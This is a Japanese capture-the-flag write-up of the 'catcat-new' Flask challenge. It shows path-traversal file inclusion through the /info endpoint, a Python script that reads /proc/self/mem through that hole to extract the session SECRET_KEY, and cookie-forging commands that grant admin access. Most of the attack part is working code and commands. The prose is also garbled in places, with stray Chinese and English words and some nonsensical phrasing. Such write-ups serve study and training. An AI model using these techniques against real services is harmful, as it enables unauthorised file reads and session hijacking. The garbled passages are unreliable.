問題概要
攻防世界(No.GFSJ1168)の「catcat-new」は、Flaskアプリケーションのセッションハイジャックを目的是とするワンサイズの脆弱性問題です。
攻撃フロー
まず、dirsearchなどのツールでディレクトリを列挙し、/adminエンドポイントを発見します。このページは単なる「NoNoNo」を返すだけですが、ヒントとして重要な情報があります。
ホームページの画像URLを観察すると、任意ファイル読み込みが可能なことが判明します。/etc/passwdの読み取りに成功し、Local File Inclusion(LFI)が確認されます。
さらに、/proc/self/cmdlineを読み取ることで、バックエンドで動作しているPythonスクリプトがapp.pyであることを特定します。
このファイルを読み出すと、以下のFlaskアプリケーションのソースコードが得られます。
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
このコードから、フラグを得るには/adminへアクセスする際にsession["admin"]が1となっている必要があり、そのためにはSECRET_KEYを入手してセッションを正当に署名・改ざんする必要があることが読み取れます。
メモリからSECRET_KEY抽出
SECRET_KEYはランダムに生成されており静的に保存されていないため、ライブプロセスを対象にメモリから取得します。
PythonのFlaskアプリケーションを実行中であるため、/proc/self/mapsでメモリマッピング情報を取得し、 thereofから実行コードやセッション用シークレットキーが格納された領域を特定します。
以下のようなスクリプトで、メモリの可読・書き込み可能領域を列挙し、各領域から/proc/self/memを読み取って秘密鍵"@32文字+*abcdefgh"の形式の文字列を探索します。
import re
import requests
# 地図ファイルの読み込み
with open("maps_dump.txt", "r") as f:
maps_data = f.read()
# 行ごとに分割
for line in maps_data.splitlines():
if "rw-" in line:
match = re.search(r'([0-9a-f]+)-([0-9a-f]+)', line)
if not match:
continue
mem_start = int(match.group(1), 16)
mem_end = int(match.group(2), 16)
# LFI経由でメモリ読み出し
url = f"http://靶場IP:55027/info?file=../../../proc/self/mem&start={mem_start}&end={mem_end}"
resp = requests.get(url)
# SECRET_KEYパターン
candidates = re.findall(r'[0-9a-f]{32}\*abcdefgh', resp.text)
if candidates:
secret_key = candidates[0]
print(f"[+] Found SECRET_KEY: {secret_key}")
break
実行結果として、秘密鍵:8fe482ecf92b4639801ca7312cf5f73a*abcdefghが取得できます。
セッションの改ざん
取得したSECRET_KEYを使って、flask-session-cookie-managerなどのツールで既存セッションをデコード・改ざん・再エンコードします。
例として、既存のセッション:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0を解析し、 payloadのJSON {"admin": 0}を {"admin": 1}に修正したうえで再署名します。
ターミナル操作例:
# デコード(確認用)
python3 flask_session_cookie_manager3.py decode -s "8fe482ecf92b4639801ca7312cf5f73a*abcdefgh" -c "eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0"
# エンコード(admin=1に書き換え)
echo "{\"admin\":1}" | python3 flask_session_cookie_manager3.py encode -s "8fe482ecf92b4639801ca7312cf5f73a*abcdefgh" -t -
得られた新しいセッションクッキーを浏览器にセットして/adminへアクセスすると、フラグが得られます。